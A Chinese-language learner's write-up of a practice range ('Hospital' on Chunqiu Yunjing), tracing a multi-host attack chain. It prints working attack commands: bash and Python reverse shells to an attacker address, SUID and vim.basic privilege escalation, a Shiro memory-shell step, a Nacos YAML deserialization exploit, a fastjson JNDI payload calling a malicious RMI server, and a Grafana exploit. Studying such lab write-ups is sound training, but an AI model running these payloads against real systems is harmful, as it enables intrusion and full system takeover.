终于打下了一个靶场,但是觉得自己的学习方式是不对的,一直在做但是没学到东西的感觉)

屏幕截图 2025-07-13 105113

参考wp,感谢大佬:

最保姆级的春秋云镜Hospital打靶笔记

Yuq1Ng的wp

先知社区

基本流程还是和Initial很像,又安装了很多工具啊

流程

开启靶场之后,用fscan扫描漏洞

image-20250714213828881

8080端口有Spring Boot Actuator heapdump信息泄露漏洞, 访问/actuator/heapdump下载到heapdump文件

1
heapdump 文件(通常扩展名为 .hprof)是 Java 虚拟机(JVM)堆内存的快照文件,记录了某一时刻内存中存储的所有对象、类、线程等信息。它常用于 调试内存泄漏、分析应用运行状态、提取敏感信息。
1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

提取heapdump的敏感信息,得到了Shirokey,用shiro一把梭工具(这个工具需要用Java8运行)注入内存马,之后用蚁剑连接

无法读root目录

本地suid提权 介绍一下suid提权

1
find / -user root -perm -4000 -print 2>/dev/null
1
2
3
4
5
反弹shell

攻击者:nc -lvnp 2333

靶机: bash -i >& /dev/tcp/ip地址/端口 0>&1

python反弹shell命令

web01: python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip地址”,2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)’

获取伪终端 python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

vim.basic提权读flag1 vim.basic /root/flag/flag01.txt

1

提权到root /usr/bin/vim.basic -c ‘:python3 import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

一个很重要的技巧,拿到一台主机的shell后可以上传公钥用finalshell连接,方便传文件

上传fscan到web01,继续扫

2

172.30.12.6:8848有nacos,先frp内网穿透挂代理,nacos nacos登录

3

yaml反序列化

用Nacos漏洞综合利用工具生成恶意jar包(用java8打包)

因为172.30.12.6不出网,不能上传jar包,所以把yaml-payload.jar传到web01并开启http服务,NacosExploitGUI_v4.0利用漏洞

9

image-20250714222026237

修改文件新增一个用户并加入管理员组,远程桌面连接找到flag2

7

当时一直登录不成功,没明白原因

接下来是172.30.12.236,bp要挂代理才能抓包

username和password是json格式

jndi_tool工具

1
2
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 “bash -i >& /dev/tcp/172.30.12.5/9595 0>&1”
使用jndi_tool.jar搭建一个恶意 RMI 服务器,当目标触发 JNDI 注入漏洞时,将会反弹一个 Shell 到攻击者的服务器,在web01上运行上面的命令,同时监听 nc -lvnp 9595

同时用bp将json改为

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5:8888/Object",
"autoCommit":true
}
}

让服务器访问 rmi://172.30.12.5:8888/Object,并可能加载并执行远程恶意类,实现远程命令执行

成功反弹shell

4

5

同样上传ssh公钥或者直接改密码,可以直接连接

上传fscan扫描, 172.30.54.12是最后一台机器

需要挂两层代理,proxifier设置代理链先写第一层再写第二层,成功了

把grafanaExp传到web03

./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

得到postgres的密码Postgres@123,用navicat连接

接下来是数据库提权技术,我只能参照师傅们的wp操作,最后反弹shell

6

技术和工具

Shiro反序列化 https://blog.csdn.net/Fighting_hawk/article/details/125562498

suid提权 https://blog.csdn.net/Fly_hps/article/details/80428173

Nacos Yaml反序列化 https://github.com/charonlight/NacosExploitGUI

fastjson反序列化

数据库提权

要多想